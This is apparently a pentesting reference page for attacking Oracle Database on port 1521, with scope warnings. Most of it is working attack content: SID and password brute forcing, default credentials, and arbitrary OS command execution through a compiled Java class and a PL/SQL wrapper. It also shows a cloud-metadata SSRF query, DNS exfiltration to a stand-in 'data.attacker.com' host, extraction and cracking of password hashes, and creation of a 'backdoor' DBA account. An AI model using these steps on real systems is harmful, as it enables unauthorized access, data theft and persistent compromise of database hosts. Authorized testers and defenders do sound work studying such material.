> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 1521 - Oracle Database

`Default Ports: 1521 (TNS Listener), 1630 (iSQL*Net)`

Oracle is the enterprise database you'll mostly run into in large corporations and government environments, usually holding exactly the kind of sensitive data that makes it worth the extra effort. It's also considerably more involved to attack than MySQL or MSSQL: connecting requires knowing a SID (System Identifier) up front, not just a hostname, and that extra layer is itself worth enumerating before anything else.

> **TNS Listener**
>
> The gateway every connection passes through first. It needs the right SID before the actual database login even happens, which makes SID discovery a required step, not an optional one.

> **Database Session**
>
> Once connected with a valid SID and credentials, Oracle's own PL/SQL and Java execution features open up command execution, file access, and SSRF directly from SQL.

> [!TIP]
>
> ODAT (Oracle Database Attacking Tool) automates almost everything on this page, SID brute-forcing, credential testing, privilege checks, file upload, in one tool. Worth running early as a broad first pass: [github.com/quentinhardy/odat](https://github.com/quentinhardy/odat)

***

## Connecting

```bash theme={null}
sqlplus USER/PASSWORD@TARGET:1521/SID
sqlplus USER/PASSWORD@TARGET:1521/SID as sysdba    # administrative connection
```

Running a single query without an interactive session, useful for scripting or a quick check:

```bash theme={null}
echo "SELECT banner FROM v\$version;" | sqlplus -S USER/PASSWORD@TARGET:1521/SID
```

> [!TIP]
>
> If `sqlplus` fails with `error while loading shared libraries: libsqlplus.so: cannot open shared object file`, the Oracle Instant Client libraries aren't on the linker path. Add the Instant Client directory to `LD_LIBRARY_PATH` (or `ldconfig` it) before running `sqlplus` again.

```bash theme={null}
./odat.py all -s TARGET
```

`odat all` runs sidguessing, default credential testing, and a broad privilege/vulnerability check against the target in one pass, the single most useful first command against an unknown Oracle target.

***

## Recon and SID Enumeration

Unlike MySQL or MSSQL, Oracle requires a valid SID before you can even attempt a login, which makes guessing it a required enumeration step rather than an optional one.

```bash theme={null}
sudo nmap -p1521 -sV TARGET
sudo nmap -p1521 -sV TARGET --open --script oracle-sid-brute
```

```bash theme={null}
./odat.py sidguesser -s TARGET
```

> [!NOTE]
>
> Common default SIDs worth trying even without a wordlist: `ORCL`, `XE`, `XEXDB`, `PROD`, `DEV`, `TEST`.

***

## Default and Weak Credentials

Oracle installs frequently retain well-known default accounts, worth testing before any brute-force attempt.

| Username | Password |
| - | - |
| `sys` | `change_on_install` |
| `system` | `manager` |
| `system` | `oracle` |
| `dbsnmp` | `dbsnmp` |
| `admin` | `admin` |

```bash theme={null}
sqlplus sys/change_on_install@TARGET:1521/SID as sysdba
sqlplus system/manager@TARGET:1521/SID
```

***

## Brute Forcing

```bash theme={null}
hydra -L users.txt -P passwords.txt TARGET oracle-listener
```

```bash theme={null}
./odat.py passwordguesser -s TARGET -d SID -U users.txt -P passwords.txt
```

***

## Manual Enumeration

```sql theme={null}
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';   -- version
SELECT instance_name, status, version FROM v$instance;        -- instance info
SELECT user FROM dual;                                          -- current user
```

```sql theme={null}
SELECT username FROM all_users;                              -- accessible users
SELECT username FROM dba_users;                                 -- every user, requires DBA
SELECT granted_role FROM user_role_privs WHERE granted_role='DBA';   -- check if current user has DBA
```

> **Table, schema, and privilege enumeration**
>
> ```sql theme={null}
> SELECT table_name FROM user_tables;                          -- tables owned by current user
> SELECT owner, table_name FROM all_tables;                       -- every accessible table
> SELECT column_name FROM all_tab_columns WHERE table_name='USERS';  -- columns in a table
> ```
>
> ```sql theme={null}
> SELECT table_name, column_name FROM all_tab_columns
> WHERE column_name LIKE '%PASSWORD%' OR column_name LIKE '%SECRET%';   -- hunt for sensitive columns
> ```
>
> ```sql theme={null}
> SELECT * FROM session_privs;                                  -- current user's system privileges
> SELECT * FROM dba_sys_privs WHERE grantee='USERNAME';            -- a specific user's privileges
> ```

***

## File Upload and Read/Write

```bash theme={null}
./odat.py utlfile -s TARGET -d SID -U USER -P PASS --sysdba --putFile 'C:\insert\path' file.txt ./file.txt
```

The same read/write capability works directly from SQL through `UTL_FILE`, without needing ODAT:

```sql theme={null}
DECLARE
  f UTL_FILE.FILE_TYPE;
BEGIN
  f := UTL_FILE.FOPEN('/tmp', 'backdoor.txt', 'W');
  UTL_FILE.PUT_LINE(f, 'content');
  UTL_FILE.FCLOSE(f);
END;
/
```

***

## Command Execution via Java

> [!WARNING]
>
> This requires Java execution permissions to be granted first, usually meaning you already have significant privileges. A successful run means full OS command execution as the Oracle service account.

Oracle can compile and run Java code directly inside the database, which, combined with a PL/SQL wrapper, gives arbitrary command execution.

**1. Grant the necessary Java permissions**

```sql theme={null}
BEGIN
  DBMS_JAVA.grant_permission('SCOTT', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute');
END;
/
```

**2. Create a Java class that runs OS commands**

```sql theme={null}
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Execute" AS
import java.io.*;
public class Execute {
  public static String run(String cmd) {
    try {
      StringBuffer output = new StringBuffer();
      Process p = Runtime.getRuntime().exec(cmd);
      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
      String line;
      while ((line = reader.readLine()) != null) { output.append(line + "\n"); }
      return output.toString();
    } catch (Exception e) { return e.toString(); }
  }
}
/
```

**3. Wrap it in a callable PL/SQL function**

```sql theme={null}
CREATE OR REPLACE FUNCTION run_cmd(p_cmd IN VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA NAME 'Execute.run(java.lang.String) return java.lang.String';
/
```

**4. Execute commands**

```sql theme={null}
SELECT run_cmd('whoami') FROM dual;
SELECT run_cmd('id') FROM dual;
```

***

## Network Operations (SSRF and Exfiltration)

Oracle's `UTL_*` packages make outbound network requests directly from SQL, useful for SSRF against internal services or simple data exfiltration when direct file access isn't available.

```sql theme={null}
SELECT UTL_HTTP.REQUEST('http://169.254.169.254/latest/meta-data/') FROM dual;   -- cloud metadata SSRF
SELECT UTL_INADDR.GET_HOST_ADDRESS('data.attacker.com') FROM dual;                 -- DNS-based exfiltration
SELECT UTL_TCP.IS_AVAILABLE('192.168.1.100', 22) FROM dual;                          -- basic port scanning
```

***

## Password Hash Extraction and Cracking

```sql theme={null}
SELECT name, password FROM sys.user$;              -- Oracle 10g
SELECT name, spare4 FROM sys.user$;                   -- Oracle 11g+
```

```bash theme={null}
hashcat -m 3100 oracle_10g_hashes.txt rockyou.txt    # DES-based
hashcat -m 112 oracle_11g_hashes.txt rockyou.txt       # SHA-1 based
hashcat -m 12300 oracle_12c_hashes.txt rockyou.txt       # PBKDF2-SHA-512
```

***

## Privilege Escalation and Persistence

> [!WARNING]
>
> Creating accounts or granting DBA are high-impact, easily audited actions. Confirm scope explicitly covers this before going beyond enumeration.

```sql theme={null}
GRANT DBA TO USERNAME;
```

```sql theme={null}
CREATE USER backdoor IDENTIFIED BY "PASSWORD";
GRANT DBA TO backdoor;
GRANT CREATE SESSION TO backdoor;
```

***

## Useful PL/SQL Packages

<table>
  <colgroup>
    <col width="142" />

    <col width="542" />
  </colgroup>

  <thead>
    <tr>
      <th>Package</th>
      <th>Capability</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`DBMS_JAVA`</td>
      <td>Java execution, the basis for OS command execution</td>
    </tr>

    <tr>
      <td>`UTL_FILE`</td>
      <td>Read and write files on the server</td>
    </tr>

    <tr>
      <td>`UTL_HTTP`</td>
      <td>Outbound HTTP requests, useful for SSRF</td>
    </tr>

    <tr>
      <td>`UTL_TCP`</td>
      <td>Raw TCP connections, usable for port scanning</td>
    </tr>

    <tr>
      <td>`UTL_INADDR`</td>
      <td>DNS resolution, useful for blind exfiltration</td>
    </tr>

    <tr>
      <td>`UTL_MAIL`</td>
      <td>Send email directly from the database</td>
    </tr>

    <tr>
      <td>`DBMS_SCHEDULER`</td>
      <td>Schedule jobs, a persistence mechanism</td>
    </tr>
  </tbody>
</table>

***

## Quick Reference Tools

> **[Hackviser: Oracle](https://hackviser.com/tactics/pentesting/services/oracle)**
>
> Quick-reference pentesting guide for Oracle Database.

> **[HackTricks: Oracle Listener](https://hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html)**
>
> Deeper breakdown of TNS Listener enumeration and exploitation.

> **[ODAT](https://github.com/quentinhardy/odat)**
>
> Oracle Database Attacking Tool, automates most of the techniques on this page.

> **[Oracle SQL\*Plus Reference](https://docs.oracle.com/cd/E11882_01/server.112/e41085/sqlqraa001.htm#SQLQR985)**
>
> Official command reference for SQL\*Plus.

> [!WARNING]
>
> Java-based command execution, file writes, and account creation are all high-impact actions capable of fully compromising the host. Confirm scope before going past read-only enumeration.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.